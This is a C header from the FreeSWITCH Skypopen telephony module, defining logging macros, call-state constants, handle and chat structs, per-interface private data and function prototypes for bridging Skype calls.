#define ERRORA(...) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%-*s [%s ] [ERRORA %-5d][%-15s][%s,%s] " __VA_ARGS__ );
#define WARNINGA(...) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%-*s[%s ] [WARNINGA %-5d][%-15s][%s,%s] " __VA_ARGS__ );
#define NOTICA(...) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%-*s [%s ] [NOTICA %-5d][%-15s][%s,%s] " __VA_ARGS__ );
#define SKYPOPEN_P_LOG (int)((20 - (strlen(__FILE__))) + ((__LINE__ - 1000) < 0) + ((__LINE__ - 100) < 0)), " ", SKYPOPEN_SVN_VERSION, __LINE__, tech_pvt ? tech_pvt->name ? tech_pvt->name : "none" : "none", tech_pvt ? interface_status[tech_pvt->interface_state] : "N/A", tech_pvt ? skype_callflow[tech_pvt->skype_callflow] : "N/A"
/*********************************/
#define SKYPOPEN_CAUSE_NORMAL 1
/*********************************/
#define SKYPOPEN_FRAME_DTMF 1
/*********************************/
#define SKYPOPEN_CONTROL_RINGING 1
#define SKYPOPEN_CONTROL_ANSWER 2
/*********************************/
// CLOUDTREE (Thomas Hazel)
#define SKYPOPEN_RINGING_INIT 0
#define SKYPOPEN_RINGING_PRE 1
/*********************************/
#define SKYPOPEN_STATE_IDLE 0
#define SKYPOPEN_STATE_DOWN 1
#define SKYPOPEN_STATE_RING 2
#define SKYPOPEN_STATE_DIALING 3
#define SKYPOPEN_STATE_BUSY 4
#define SKYPOPEN_STATE_UP 5
#define SKYPOPEN_STATE_RINGING 6
#define SKYPOPEN_STATE_PRERING 7
#define SKYPOPEN_STATE_ERROR_DOUBLE_CALL 8
#define SKYPOPEN_STATE_SELECTED 9
#define SKYPOPEN_STATE_HANGUP_REQUESTED 10
#define SKYPOPEN_STATE_PREANSWER 11
#define SKYPOPEN_STATE_DEAD 12
/*********************************/
/* call flow from the device */
#define CALLFLOW_CALL_IDLE 0
#define CALLFLOW_CALL_DOWN 1
#define CALLFLOW_INCOMING_RING 2
#define CALLFLOW_CALL_DIALING 3
#define CALLFLOW_CALL_LINEBUSY 4
#define CALLFLOW_CALL_ACTIVE 5
#define CALLFLOW_INCOMING_HANGUP 6
#define CALLFLOW_CALL_RELEASED 7
#define CALLFLOW_CALL_NOCARRIER 8
#define CALLFLOW_CALL_INFLUX 9
#define CALLFLOW_CALL_INCOMING 10
#define CALLFLOW_CALL_FAILED 11
#define CALLFLOW_CALL_NOSERVICE 12
#define CALLFLOW_CALL_OUTGOINGRESTRICTED 13
#define CALLFLOW_CALL_SECURITYFAIL 14
#define CALLFLOW_CALL_NOANSWER 15
#define CALLFLOW_STATUS_FINISHED 16
#define CALLFLOW_STATUS_CANCELLED 17
#define CALLFLOW_STATUS_FAILED 18
#define CALLFLOW_STATUS_REFUSED 19
#define CALLFLOW_STATUS_RINGING 20
#define CALLFLOW_STATUS_INPROGRESS 21
#define CALLFLOW_STATUS_UNPLACED 22
#define CALLFLOW_STATUS_ROUTING 23
#define CALLFLOW_STATUS_EARLYMEDIA 24
#define CALLFLOW_INCOMING_CALLID 25
#define CALLFLOW_STATUS_REMOTEHOLD 26
/*********************************/
#define SKYPOPEN_MAX_INTERFACES 64
#ifndef WIN32
struct SkypopenHandles {
Window skype_win;
Display *disp;
Window win;
int currentuserhandle;
int api_connected;
int fdesc[2];
// CLOUDTREE (Thomas Hazel)
#ifdef XIO_ERROR_BY_SETJMP
jmp_buf ioerror_context;
#endif
#ifdef XIO_ERROR_BY_UCONTEXT
ucontext_t ioerror_context;
#endif
// CLOUDTREE (Thomas Hazel) - is there a capable freeswitch list?
switch_bool_t managed;
void *prev;
void *next;
};
// CLOUDTREE (Thomas Hazel) - is there a capable freeswitch list?
struct SkypopenList {
int entries;
void *head;
void *tail;
};
// CLOUDTREE (Thomas Hazel) - is there a capable freeswitch list?
struct SkypopenHandles *skypopen_list_add(struct SkypopenList *list, struct SkypopenHandles *x);
struct SkypopenHandles *skypopen_list_find(struct SkypopenList *list, struct SkypopenHandles *x);
struct SkypopenHandles *skypopen_list_remove_by_value(struct SkypopenList *list, Display * display);
struct SkypopenHandles *skypopen_list_remove_by_reference(struct SkypopenList *list, struct SkypopenHandles *x);
int skypopen_list_size(struct SkypopenList *list);
#else //WIN32
struct SkypopenHandles {
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
HINSTANCE win32_hInit_ProcessHandle;
char win32_acInit_WindowClassName[128];
UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
int currentuserhandle;
int api_connected;
switch_file_t *fdesc[2];
};
#endif //WIN32
#define MAX_CHATS 10
struct chat {
char chatname[256];
char dialog_partner[256];
};
typedef struct chat chat_t;
#define MAX_CHATMESSAGES 10
struct chatmessage {
char id[256];
char type[256];
char chatname[256];
char from_handle[256];
char from_dispname[256];
char body[512];
};
typedef struct chatmessage chatmessage_t;
struct private_object {
unsigned int flags;
switch_codec_t read_codec;
switch_codec_t write_codec;
switch_frame_t read_frame;
unsigned char databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
char session_uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
switch_caller_profile_t *caller_profile;
switch_mutex_t *mutex;
switch_mutex_t *flag_mutex;
char interface_id[80];
char name[80];
char dialplan[80];
char context[80];
char dial_regex[256];
char fail_dial_regex[256];
char hold_music[256];
char type[256];
char X11_display[256];
#ifdef WIN32
unsigned short tcp_cli_port;
unsigned short tcp_srv_port;
#else
int tcp_cli_port;
int tcp_srv_port;
#endif
struct SkypopenHandles SkypopenHandles;
// CLOUDTREE (Thomas Hazel)
char ringing_state;
int interface_state;
char language[80];
char exten[80];
int skypopen_sound_rate;
char callid_name[50];
char callid_number[50];
double playback_boost;
double capture_boost;
int stripmsd;
char skype_call_id[512];
int skype_call_ongoing;
char skype_friends[4096];
char skype_fullname[512];
char skype_displayname[512];
int skype_callflow;
int skype;
int control_to_send;
#ifdef WIN32
switch_file_t *audiopipe_srv[2];
switch_file_t *audiopipe_cli[2];
switch_file_t *skypopen_sound_capt_fd;
#else /* WIN32 */
int audiopipe_srv[2];
int audiopipe_cli[2];
int skypopen_sound_capt_fd;
#endif /* WIN32 */
switch_thread_t *tcp_srv_thread;
switch_thread_t *tcp_cli_thread;
switch_thread_t *skypopen_signaling_thread;
switch_thread_t *skypopen_api_thread;
short audiobuf[SAMPLES_PER_FRAME];
int audiobuf_is_loaded;
short audiobuf_cli[SAMPLES_PER_FRAME];
switch_mutex_t *mutex_audio_cli;
int flag_audio_cli;
short audiobuf_srv[SAMPLES_PER_FRAME];
switch_mutex_t *mutex_audio_srv;
int flag_audio_srv;
switch_mutex_t *mutex_thread_audio_cli;
switch_mutex_t *mutex_thread_audio_srv;
FILE *phonebook_writing_fp;
int skypopen_dir_entry_extension_prefix;
char skype_user[256];
char initial_skype_user[256];
char skype_password[256];
char destination[256];
struct timeval answer_time;
struct timeval ring_time;
struct timeval transfer_time;
char transfer_callid_number[50];
char skype_transfer_call_id[512];
int running;
uint32_t ib_calls;
uint32_t ob_calls;
uint32_t ib_failed_calls;
uint32_t ob_failed_calls;
chatmessage_t chatmessages[MAX_CHATMESSAGES];
chat_t chats[MAX_CHATS];
uint32_t report_incoming_chatmessages;
switch_timer_t timer_read;
switch_timer_t timer_read_srv;
switch_timer_t timer_write;
int begin_to_write;
int begin_to_read;
dtmf_rx_state_t dtmf_state;
switch_time_t old_dtmf_timestamp;
switch_buffer_t *write_buffer;
switch_buffer_t *read_buffer;
int silent_mode;
int write_silence_when_idle;
int setsockopt;
char answer_id[256];
char answer_value[256];
char ring_id[256];
char ring_value[256];
char message[4096];
char skype_voicemail_id[512];
char skype_voicemail_id_greeting[512];
};
typedef struct private_object private_t;
void *SWITCH_THREAD_FUNC skypopen_api_thread_func(switch_thread_t *thread, void *obj);
int skypopen_audio_read(private_t *tech_pvt);
int skypopen_audio_init(private_t *tech_pvt);
int skypopen_signaling_write(private_t *tech_pvt, char *msg_to_skype);
int skypopen_signaling_read(private_t *tech_pvt);
int skypopen_call(private_t *tech_pvt, char *idest, int timeout);
int skypopen_senddigit(private_t *tech_pvt, char digit);
void *skypopen_do_tcp_srv_thread_func(void *obj);
void *SWITCH_THREAD_FUNC skypopen_do_tcp_srv_thread(switch_thread_t *thread, void *obj);
void *skypopen_do_tcp_cli_thread_func(void *obj);
void *SWITCH_THREAD_FUNC skypopen_do_tcp_cli_thread(switch_thread_t *thread, void *obj);
void *skypopen_do_skypeapi_thread_func(void *obj);
void *SWITCH_THREAD_FUNC skypopen_do_skypeapi_thread(switch_thread_t *thread, void *obj);
int dtmf_received(private_t *tech_pvt, char *value);
int start_audio_threads(private_t *tech_pvt);
int new_inbound_channel(private_t *tech_pvt);
int outbound_channel_answered(private_t *tech_pvt);
int skypopen_signaling_write(private_t *tech_pvt, char *msg_to_skype);
#if defined(WIN32) && !defined(__CYGWIN__)
int skypopen_pipe_read(switch_file_t *pipe, short *buf, int howmany);
int skypopen_pipe_write(switch_file_t *pipe, short *buf, int howmany);
/* Visual C do not have strsep ? */
char *strsep(char **stringp, const char *delim);
#else
int skypopen_pipe_read(int pipe, short *buf, int howmany);
int skypopen_pipe_write(int pipe, short *buf, int howmany);
#endif /* WIN32 */
int skypopen_close_socket(unsigned int fd);
private_t *find_available_skypopen_interface_rr(private_t *tech_pvt_calling);
int remote_party_is_ringing(private_t *tech_pvt);
int remote_party_is_early_media(private_t *tech_pvt);
int skypopen_answer(private_t *tech_pvt);
int skypopen_transfer(private_t *tech_pvt);
#ifndef WIN32
int skypopen_socket_create_and_bind(private_t *tech_pvt, int *which_port);
#else
int skypopen_socket_create_and_bind(private_t *tech_pvt, unsigned short *which_port);
#endif //WIN32
int incoming_chatmessage(private_t *tech_pvt, int which);
int next_port(void);
int skypopen_partner_handle_ring(private_t *tech_pvt);
int skypopen_answered(private_t *tech_pvt);
int inbound_channel_answered(private_t *tech_pvt);

File diff suppressed because it is too large Load Diff